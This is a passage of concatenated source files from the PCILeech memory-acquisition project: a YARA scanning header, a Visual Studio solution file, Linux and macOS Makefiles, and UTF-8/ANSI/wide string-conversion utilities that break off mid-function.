VMMYARA_ERROR_EXEC_STACK_OVERFLOW 25 #define VMMYARA_ERROR_SCAN_TIMEOUT 26 #define VMMYARA_ERROR_TOO_MANY_SCAN_THREADS 27 #define VMMYARA_ERROR_CALLBACK_ERROR 28 #define VMMYARA_ERROR_INVALID_ARGUMENT 29 #define VMMYARA_ERROR_TOO_MANY_MATCHES 30 #define VMMYARA_ERROR_INTERNAL_FATAL_ERROR 31 #define VMMYARA_ERROR_NESTED_FOR_OF_LOOP 32 #define VMMYARA_ERROR_INVALID_FIELD_NAME 33 #define VMMYARA_ERROR_UNKNOWN_MODULE 34 #define VMMYARA_ERROR_NOT_A_STRUCTURE 35 #define VMMYARA_ERROR_NOT_INDEXABLE 36 #define VMMYARA_ERROR_NOT_A_FUNCTION 37 #define VMMYARA_ERROR_INVALID_FORMAT 38 #define VMMYARA_ERROR_TOO_MANY_ARGUMENTS 39 #define VMMYARA_ERROR_WRONG_ARGUMENTS 40 #define VMMYARA_ERROR_WRONG_RETURN_TYPE 41 #define VMMYARA_ERROR_DUPLICATED_STRUCTURE_MEMBER 42 #define VMMYARA_ERROR_EMPTY_STRING 43 #define VMMYARA_ERROR_DIVISION_BY_ZERO 44 #define VMMYARA_ERROR_REGULAR_EXPRESSION_TOO_LARGE 45 #define VMMYARA_ERROR_TOO_MANY_RE_FIBERS 46 #define VMMYARA_ERROR_COULD_NOT_READ_PROCESS_MEMORY 47 #define VMMYARA_ERROR_INVALID_EXTERNAL_VARIABLE_TYPE 48 #define VMMYARA_ERROR_REGULAR_EXPRESSION_TOO_COMPLEX 49 #define VMMYARA_ERROR_INVALID_MODULE_NAME 50 #define VMMYARA_ERROR_TOO_MANY_STRINGS 51 #define VMMYARA_ERROR_INTEGER_OVERFLOW 52 #define VMMYARA_ERROR_CALLBACK_REQUIRED 53 #define VMMYARA_ERROR_INVALID_OPERAND 54 #define VMMYARA_ERROR_COULD_NOT_READ_FILE 55 #define VMMYARA_ERROR_DUPLICATED_EXTERNAL_VARIABLE 56 #define VMMYARA_ERROR_INVALID_MODULE_DATA 57 #define VMMYARA_ERROR_WRITING_FILE 58 #define VMMYARA_ERROR_INVALID_MODIFIER 59 #define VMMYARA_ERROR_DUPLICATED_MODIFIER 60 #define VMMYARA_ERROR_BLOCK_NOT_READY 61 #define VMMYARA_ERROR_INVALID_PERCENTAGE 62 #define VMMYARA_ERROR_IDENTIFIER_MATCHES_WILDCARD 63 #define VMMYARA_ERROR_INVALID_VALUE 64 // defines from yara scan.h #define VMMYARA_SCAN_FLAGS_FAST_MODE 1 #define VMMYARA_SCAN_FLAGS_PROCESS_MEMORY 2 #define VMMYARA_SCAN_FLAGS_NO_TRYCATCH 4 #define VMMYARA_SCAN_FLAGS_REPORT_RULES_MATCHING 8 #define VMMYARA_SCAN_FLAGS_REPORT_RULES_NOT_MATCHING 16 /* * Load a compiled yara rule file. * -- szCompiledFileRules = the file path of the compiled yara rule file to load. * -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive * the handle to the loaded rule set on success. * -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error. */ _Success_(return == VMMYARA_ERROR_SUCCESS) VMMYARA_ERROR VmmYara_RulesLoadCompiled( _In_ LPSTR szCompiledFileRules, _Out_ PVMMYARA_RULES *phVmmYaraRules ); /* * Load one or multiple yara rules from either memory or source files. * -- cszSourceCombinedRules = the number of source files/strings to load. * -- pszSourceCombinedRules = array of source file paths/strings to load. * -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive the * handle to the loaded rule set on success. * -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error. */ EXPORTED_FUNCTION _Success_(return == VMMYARA_ERROR_SUCCESS) VMMYARA_ERROR VmmYara_RulesLoadSourceCombined( _In_ DWORD cszSourceCombinedRules, _In_reads_(cszSourceCombinedRules) LPSTR pszSourceCombinedRules[], _Out_ PVMMYARA_RULES *phVmmYaraRules ); /* * Load one or multiple yara rules from source files. * -- cszSourceFileRules = the number of source files to load. * -- pszSourceFileRules = array of source file paths to load. * -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive * the handle to the loaded rule set on success. * -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error. */ _Success_(return == VMMYARA_ERROR_SUCCESS) VMMYARA_ERROR VmmYara_RulesLoadSourceFile( _In_ DWORD cszSourceFileRules, _In_reads_(cszSourceFileRules) LPSTR pszSourceFileRules[], _Out_ PVMMYARA_RULES *phVmmYaraRules ); /* * Load one or multiple yara rules from in-memory source strings. * -- cSourceStringRules = the number of source strings to load. * -- cszSourceStringRules = array of source strings to load. * -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive * the handle to the loaded rule set on success. * -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error. */ _Success_(return == VMMYARA_ERROR_SUCCESS) VMMYARA_ERROR VmmYara_RulesLoadSourceString( _In_ DWORD cszSourceStringRules, _In_reads_(cszSourceStringRules) LPSTR pszSourceStringRules[], _Out_ PVMMYARA_RULES *phVmmYaraRules ); /* * Destroy a previously loaded rule set. * -- hVmmYaraRules = the handle to the rule set to destroy. * -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error. */ _Success_(return == VMMYARA_ERROR_SUCCESS) VMMYARA_ERROR VmmYara_RulesDestroy(_In_ PVMMYARA_RULES hVmmYaraRules); #define VMMYARA_RULE_MATCH_FLAG_MEMPROCFS 1 #define VMMYARA_RULE_MATCH_FLAG_SUPPRESS 2 // =========== START SHARED STRUCTS WITH =========== #ifndef VMMYARA_RULE_MATCH_DEFINED #define VMMYARA_RULE_MATCH_DEFINED #define VMMYARA_RULE_MATCH_VERSION 0xfedc0003 #define VMMYARA_RULE_MATCH_TAG_MAX 8 #define VMMYARA_RULE_MATCH_META_MAX 16 #define VMMYARA_RULE_MATCH_STRING_MAX 8 #define VMMYARA_RULE_MATCH_OFFSET_MAX 16 /* * Struct with match information upon a match in VmmYara_RulesScanMemory(). */ typedef struct tdVMMYARA_RULE_MATCH { DWORD dwVersion; // VMMYARA_RULE_MATCH_VERSION DWORD flags; LPSTR szRuleIdentifier; DWORD cTags; LPSTR szTags[VMMYARA_RULE_MATCH_TAG_MAX]; DWORD cMeta; struct { LPSTR szIdentifier; LPSTR szString; } Meta[VMMYARA_RULE_MATCH_META_MAX]; DWORD cStrings; struct { LPSTR szString; DWORD cMatch; SIZE_T cbMatchOffset[VMMYARA_RULE_MATCH_OFFSET_MAX]; } Strings[VMMYARA_RULE_MATCH_STRING_MAX]; } VMMYARA_RULE_MATCH, *PVMMYARA_RULE_MATCH; #endif /* VMMYARA_RULE_MATCH_DEFINED */ #ifndef VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED #define VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED /* * Callback function to be called by VmmYara_RulesScanMemory() upon a match. * -- pvContext = user context set in call to VmmYara_ScanMemory(). * -- pRuleMatch = pointer to match information. * -- pbBuffer = the memory buffer that was scanned. * -- cbBuffer = the size of the memory buffer that was scanned. * -- return = return TRUE to continue scanning, FALSE to stop scanning. */ typedef BOOL(*VMMYARA_SCAN_MEMORY_CALLBACK)( _In_ PVOID pvContext, _In_ PVMMYARA_RULE_MATCH pRuleMatch, _In_reads_bytes_(cbBuffer) PBYTE pbBuffer, _In_ SIZE_T cbBuffer ); #endif /* VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED */ // =========== END SHARED STRUCTS WITH =========== /* * Scan a memory buffer for matches against the specified rule set. * Upon a match the callback function will be called with the match information. * -- hVmmYaraRules = the handle to the rule set to scan against. * -- pbBuffer = the memory buffer to scan. * -- cbBuffer = the size of the memory buffer to scan. * -- flags = flags according to yr_rules_scan_mem() to use. * -- pfnCallback = the callback function to call upon a match. * -- pvContext = context to pass to the callback function. * -- timeout = timeout in seconds according to yr_rules_scan_mem(). * -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error. */ _Success_(return == VMMYARA_ERROR_SUCCESS) VMMYARA_ERROR VmmYara_ScanMemory( _In_ PVMMYARA_RULES hVmmYaraRules, _In_reads_bytes_(cbBuffer) PBYTE pbBuffer, _In_ SIZE_T cbBuffer, _In_ int flags, _In_ VMMYARA_SCAN_MEMORY_CALLBACK pfnCallback, _In_ PVOID pvContext, _In_ int timeout ); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __VMMYARA_H__ */ ``` `pcileech.sln`: ```sln Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.28729.10 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pcileech", "pcileech\pcileech.vcxproj", "{DFFA1B4C-279B-4356-ADB1-08A6F4795931}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pcileech_shellcode", "pcileech_shellcode\pcileech_shellcode.vcxproj", "{5C698F13-6E9F-46F3-95FC-55376A65D8BF}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{41BC2617-A896-4D63-9F5E-ED26C5A613B8}" ProjectSection(SolutionItems) = preProject LICENSE = LICENSE readme.md = readme.md EndProjectSection EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "pcileech_kmd", "pcileech_kmd", "{2A4F90E3-A543-4D9C-9F89-CBCE396AE08A}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "linux", "linux", "{2E5DAA3B-99A5-4493-B68B-B24153FCB6E4}" ProjectSection(SolutionItems) = preProject pcileech_kmd\linux\Makefile = pcileech_kmd\linux\Makefile pcileech_kmd\linux\pcileech_kmd.c = pcileech_kmd\linux\pcileech_kmd.c EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "USB3380Flash", "usb3380_flash\windows\USB3380Flash\USB3380Flash.vcxproj", "{E11BECC1-685F-41B9-A352-A6127FAB3758}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "USB3380Flash_installer", "usb3380_flash\windows\USB3380Flash_Installer\USB3380Flash_Installer.vcxproj", "{F2F4AA4A-BEFE-4738-9412-820007919334}" ProjectSection(ProjectDependencies) = postProject {DFFA1B4C-279B-4356-ADB1-08A6F4795931} = {DFFA1B4C-279B-4356-ADB1-08A6F4795931} {E11BECC1-685F-41B9-A352-A6127FAB3758} = {E11BECC1-685F-41B9-A352-A6127FAB3758} EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "leechcore", "..\LeechCore\leechcore\leechcore.vcxproj", "{3476ABD2-5DEA-43E6-A676-8BE25F74535A}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vmm", "..\MemProcFS\vmm\vmm.vcxproj", "{6326FCE0-1BA5-4AEC-9973-7783309FFD6B}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 ReleaseMT|x64 = ReleaseMT|x64 ReleaseMT|x86 = ReleaseMT|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x64.ActiveCfg = Debug|x64 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x64.Build.0 = Debug|x64 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x86.ActiveCfg = Debug|Win32 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x86.Build.0 = Debug|Win32 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x64.ActiveCfg = Release|x64 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x64.Build.0 = Release|x64 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x86.ActiveCfg = Release|Win32 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x86.Build.0 = Release|Win32 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.ReleaseMT|x64.ActiveCfg = Release|x64 {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.ReleaseMT|x86.ActiveCfg = Debug|x64 {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Debug|x64.ActiveCfg = Release|x64 {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Debug|x86.ActiveCfg = Release|x64 {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Release|x64.ActiveCfg = Release|x64 {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Release|x86.ActiveCfg = Release|x64 {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.ReleaseMT|x64.ActiveCfg = Release|x64 {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.ReleaseMT|x86.ActiveCfg = Release|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.Debug|x64.ActiveCfg = Debug|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.Debug|x86.ActiveCfg = Debug|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.Release|x64.ActiveCfg = Release|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.Release|x86.ActiveCfg = Release|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.ReleaseMT|x64.ActiveCfg = ReleaseMT|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.ReleaseMT|x64.Build.0 = ReleaseMT|x64 {E11BECC1-685F-41B9-A352-A6127FAB3758}.ReleaseMT|x86.ActiveCfg = ReleaseMT|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.Debug|x64.ActiveCfg = Debug|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.Debug|x86.ActiveCfg = Debug|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.Release|x64.ActiveCfg = Release|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.Release|x86.ActiveCfg = Release|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.ReleaseMT|x64.ActiveCfg = ReleaseMT|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.ReleaseMT|x64.Build.0 = ReleaseMT|x64 {F2F4AA4A-BEFE-4738-9412-820007919334}.ReleaseMT|x86.ActiveCfg = ReleaseMT|x64 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x64.ActiveCfg = Debug|x64 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x64.Build.0 = Debug|x64 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x86.ActiveCfg = Debug|Win32 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Debug|x86.Build.0 = Debug|Win32 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x64.ActiveCfg = Release|x64 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x64.Build.0 = Release|x64 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x86.ActiveCfg = Release|Win32 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.Release|x86.Build.0 = Release|Win32 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.ReleaseMT|x64.ActiveCfg = Release|x64 {3476ABD2-5DEA-43E6-A676-8BE25F74535A}.ReleaseMT|x86.ActiveCfg = Release|Win32 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x64.ActiveCfg = Debug|x64 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x64.Build.0 = Debug|x64 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x86.ActiveCfg = Debug|Win32 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Debug|x86.Build.0 = Debug|Win32 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x64.ActiveCfg = Release|x64 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x64.Build.0 = Release|x64 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x86.ActiveCfg = Release|Win32 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.Release|x86.Build.0 = Release|Win32 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.ReleaseMT|x64.ActiveCfg = Release|x64 {6326FCE0-1BA5-4AEC-9973-7783309FFD6B}.ReleaseMT|x86.ActiveCfg = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(NestedProjects) = preSolution {2A4F90E3-A543-4D9C-9F89-CBCE396AE08A} = {41BC2617-A896-4D63-9F5E-ED26C5A613B8} {2E5DAA3B-99A5-4493-B68B-B24153FCB6E4} = {2A4F90E3-A543-4D9C-9F89-CBCE396AE08A} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {7D482A0F-DF96-4909-8C6B-8A4F6353DC23} EndGlobalSection EndGlobal ``` `pcileech/Makefile`: ``` CC=gcc CFLAGS +=-I. -I../includes -D LINUX -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -pthread CFLAGS += -fPIE -fPIC -fstack-protector -D_FORTIFY_SOURCE=2 -O1 CFLAGS += -Wall -Wno-format-truncation -Wno-enum-compare -Wno-pointer-sign -Wno-multichar -Wno-unused-variable -Wno-unused-value CFLAGS += -Wno-pointer-to-int-cast -Wno-int-to-pointer-cast ifeq ($(shell basename $(CC)),gcc) CFLAGS += -pie endif LDFLAGS +=-Wl,-rpath,'$$ORIGIN' -ldl -L. -l:leechcore.so -l:vmm.so -Wl,-z,noexecstack DEPS = pcileech.h OBJ = oscompatibility.o charutil.o device.o pcileech.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o umd.o util.o vfslist.o vfs.o vmmx.o ob/ob_cachemap.o ob/ob_core.o ob/ob_map.o ob/ob_set.o %.o: %.c $(DEPS) $(CC) -c -o $@ $< $(CFLAGS) pcileech: $(OBJ) cp ../files/vmm.so . || cp ../../MemProcFS*/files/vmm.so . || true cp ../files/leechcore.so . || cp ../../LeechCore*/files/leechcore.so . || true $(CC) -o $@ $^ $(CFLAGS) $(LDFLAGS) mv pcileech ../files/ |true mv vmm.so ../files/ |true mv leechcore.so ../files/ |true rm -f *.o || true rm -f */*.o || true rm -f *.so || true true clean: rm -f *.o || true rm -f */*.o || true rm -f *.so || true ``` `pcileech/Makefile.macos`: ```macos CC=clang CFLAGS += -I. -I../includes -D MACOS -D _GNU_SOURCE -D _FILE_OFFSET_BITS=64 -pthread CFLAGS += -fPIE -fPIC -fstack-protector -D_FORTIFY_SOURCE=2 -O1 CFLAGS += -Wall -Wno-enum-compare -Wno-pointer-sign -Wno-multichar -Wno-unused-variable -Wno-unused-value CFLAGS += -Wno-pointer-to-int-cast -Wno-int-to-pointer-cast CFLAGS += -mmacosx-version-min=11.0 # DEBUG FLAGS BELOW #CFLAGS += -O0 #CFLAGS += -fsanitize=address # DEBUG FLAGS ABOVE LDFLAGS += -ldl -L. ./leechcore.dylib ./vmm.dylib LDFLAGS += -Wl,-rpath,@loader_path LDFLAGS += -mmacosx-version-min=11.0 DEPS = pcileech.h OBJ = oscompatibility.o charutil.o device.o pcileech.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o umd.o util.o vfslist.o vfs.o vmmx.o ob/ob_cachemap.o ob/ob_core.o ob/ob_map.o ob/ob_set.o # ARCH SPECIFIC FLAGS: CFLAGS_X86_64 = $(CFLAGS) -arch x86_64 CFLAGS_ARM64 = $(CFLAGS) -arch arm64 LDFLAGS_X86_64 = $(LDFLAGS) -arch x86_64 LDFLAGS_ARM64 = $(LDFLAGS) -arch arm64 OBJ_X86_64 = $(OBJ:.o=.o.x86_64) OBJ_ARM64 = $(OBJ:.o=.o.arm64) all: pcileech %.o.x86_64: %.c $(DEPS) $(CC) $(CFLAGS_X86_64) -c -o $@ $< %.o.arm64: %.c $(DEPS) $(CC) $(CFLAGS_ARM64) -c -o $@ $< pcileech_x86_64: $(OBJ_X86_64) cp ../files/vmm.dylib . || cp ../../MemProcFS*/files/vmm.dylib . || true cp ../files/leechcore.dylib . || cp ../../LeechCore*/files/leechcore.dylib . || true $(CC) $(LDFLAGS_X86_64) -o $@ $^ pcileech_arm64: $(OBJ_ARM64) cp ../files/vmm.dylib . || cp ../../MemProcFS*/files/vmm.dylib . || true cp ../files/leechcore.dylib . || cp ../../LeechCore*/files/leechcore.dylib . || true $(CC) $(LDFLAGS_ARM64) -o $@ $^ pcileech: pcileech_x86_64 pcileech_arm64 lipo -create -output pcileech pcileech_x86_64 pcileech_arm64 install_name_tool -id @rpath/pcileech pcileech mv pcileech ../files/ |true mv vmm.dylib ../files/ |true mv leechcore.dylib ../files/ |true rm -f *.o *.o.x86_64 *.o.arm64 || true rm -f */*.o */*.o.x86_64 */*.o.arm64 || true rm -f *.dylib || true true clean: rm -f *.o *.o.x86_64 *.o.arm64 || true rm -f */*.o */*.o.x86_64 */*.o.arm64 || true rm -f *.dylib || true ``` `pcileech/charutil.c`: ```c // charutil.c : implementation of various character/string utility functions. // // (c) Ulf Frisk, 2021-2026 // Author: Ulf Frisk, pcileech@frizk.net // #include "charutil.h" #define CHARUTIL_CONVERT_MAXSIZE 0x40000000 #define CHARUTIL_ANSIFILENAME_ALLOW \ "0000000000000000000000000000000011011111110111101111111111010100" \ "1111111111111111111111111111011111111111111111111111111111110110" /* * Check whether a string is an ansi-string (only codepoints between 0-127). * -- sz * -- return */ BOOL CharUtil_IsAnsiA(_In_ LPCSTR sz) { UCHAR c; DWORD i = 0; while(TRUE) { c = sz[i++]; if(c == 0) { return TRUE; } if(c > 127) { return FALSE; } } } BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz) { USHORT c; DWORD i = 0; while(TRUE) { c = wsz[i++]; if(c == 0) { return TRUE; } if(c > 127) { return FALSE; } } } BOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz) { UCHAR c; DWORD i = 0; while(TRUE) { c = sz[i++]; if(c == 0) { return TRUE; } if(c > 127) { return FALSE; } if(CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') { return FALSE; } if(i > MAX_PATH - 2) { return FALSE; } } } /* * Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string. * Function support sz/wsz == pbBuffer - sz/wsz will then become overwritten. * CALLER LOCALFREE (if *pjsz != pbBuffer): *pjsz * -- usz/sz/wsz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pusz = if set to null: function calculate length only and return TRUE. result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbu = byte length (including terminating null) of utf-8 string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE * -- return */ _Success_(return) BOOL CharUtil_AtoU(_In_opt_ LPCSTR sz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags) { UCHAR c; LPSTR usz; DWORD i, j, cba = 0, cbu = 0; if(pcbu) { *pcbu = 0; } if(pusz) { *pusz = NULL; } if(!sz) { sz = ""; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: ansi byte-length and if ansi-only if((flags & CHARUTIL_FLAG_TRUNCATE)) { if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; } while((cba < cch) && (c = sz[cba])) { if(c > 0x7f) { if(cba + cbu + 1 + 1 >= cbBuffer) { break; } cbu++; } else { if(cba + cbu + 1 >= cbBuffer) { break; } } cba++; } } else { while((cba < cch) && (c = sz[cba])) { if(c > 0x7f) { cbu++; } cba++; } } cba++; cbu += cba; if(pcbu) { *pcbu = cbu; } // 2: return on length-request or alloc-fail if(!pusz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbu))) { goto fail; } // fail: insufficient buffer space usz = (pbBuffer && (cbBuffer >= cbu)) ? pbBuffer : LocalAlloc(0, cbu); if(!usz) { goto fail; } // fail: failed buffer space allocation // 3: populate with utf-8 string (backwards to support sz == pbBuffer case) i = cba - 2; j = cbu - 2; while(i < 0x7fffffff) { c = sz[i--]; if(c > 0x7f) { usz[j--] = 0x80 | (c & 0x3f); usz[j--] = 0xc0 | ((c >> 6) & 0x1f); } else { usz[j--] = c; } } usz[cbu - 1] = 0; if(pusz) { *pusz = usz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pusz) { *pusz = (LPSTR)pbBuffer; } if(pcbu) { *pcbu = 1; } pbBuffer[0] = 0; } return FALSE; } _Success_(return) BOOL CharUtil_UtoU(_In_opt_ LPCSTR uszIn, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags) { // NB! function may look meaningless - but it provides some additional // checking of the validity of the string and adheres to the flags. UCHAR c; LPSTR usz; DWORD n, cbu = 0; BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE; if(pcbu) { *pcbu = 0; } if(pusz) { *pusz = NULL; } if(!uszIn) { uszIn = ""; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: utf-8 byte-length: if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; } while((cbu < cch) && (c = uszIn[cbu])) { if(c & 0x80) { // utf-8 char: n = 0; if((c & 0xe0) == 0xc0) { n = 2; } if((c & 0xf0) == 0xe0) { n = 3; } if((c & 0xf8) == 0xf0) { n = 4; } if(!n) { goto fail; } // invalid char-encoding if(cbu + n > cch) { break; } if(fTruncate && (cbu + n >= cbBuffer)) { break; } if((n > 1) && ((uszIn[cbu + 1] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding if((n > 2) && ((uszIn[cbu + 2] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding if((n > 3) && ((uszIn[cbu + 3] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding cbu += n; } else { if(fTruncate && (cbu + 1 >= cbBuffer)) { break; } cbu += 1; } } cbu++; if(pcbu) { *pcbu = cbu; } // 2: return on length-request or alloc-fail if(!pusz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbu))) { goto fail; } // fail: insufficient buffer space usz = (pbBuffer && (cbBuffer >= cbu)) ? pbBuffer : LocalAlloc(0, cbu); if(!usz) { goto fail; } // fail: failed buffer space allocation // 3: populate with utf-8 string if(usz != uszIn) { memcpy(usz, uszIn, cbu); } usz[cbu - 1] = 0; if(pusz) { *pusz = usz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pusz) { *pusz = (LPSTR)pbBuffer; } if(pcbu) { *pcbu = 1; } pbBuffer[0] = 0; } return FALSE; } _Success_(return) BOOL CharUtil_WtoU(_In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags) { USHORT c, cZERO = 0; LPSTR usz; PUSHORT pus; DWORD i, j, cbw = 0, cbu = 0, chSur; if(pcbu) { *pcbu = 0; } if(pusz) { *pusz = NULL; } pus = wsz ? (PUSHORT)wsz : &cZERO; if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: ansi byte-length and if ansi-only if((flags & CHARUTIL_FLAG_TRUNCATE)) { if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; } while((cbw < cch) && (c = pus[cbw])) { if(c > 0x7ff) { if(c >= 0xD800 && c <= 0xDFFF) { // surrogate pair if(cbw + cbu + 1 + 2 + 1 >= cbBuffer) { break; } if(cbw + 1 >= cch) { break; } // end of string if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) { // fail: invalid code point if((cbw >= 0x10) && (flags & CHARUTIL_FLAG_BAD_UTF8CP_SOFTFAIL)) { break; } goto fail; } cbu += 2; cbw++; } else { if(cbw + cbu + 1 + 2 >= cbBuffer) { break; } cbu += 2; } } else if(c > 0x7f) { if(cbw + cbu + 1 + 1 >= cbBuffer) { break; } cbu++; } else { if(cbw + cbu + 1 >= cbBuffer) { break; } } cbw++; } } else { while((cbw < cch) && (c = pus[cbw])) { if(c > 0x7ff) { if(c >= 0xD800 && c <= 0xDFFF) { // surrogate pair if(cbw + 1 >= cch) { break; } // end of string if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) { // fail: invalid code point if((cbw >= 0x10) && (flags & CHARUTIL_FLAG_BAD_UTF8CP_SOFTFAIL)) { break; } goto fail; } cbu += 2; cbw++; } else { cbu += 2; } } else if(c > 0x7f) { cbu++; } cbw++; } } cbw++; cbu += cbw; if(pcbu) { *pcbu = 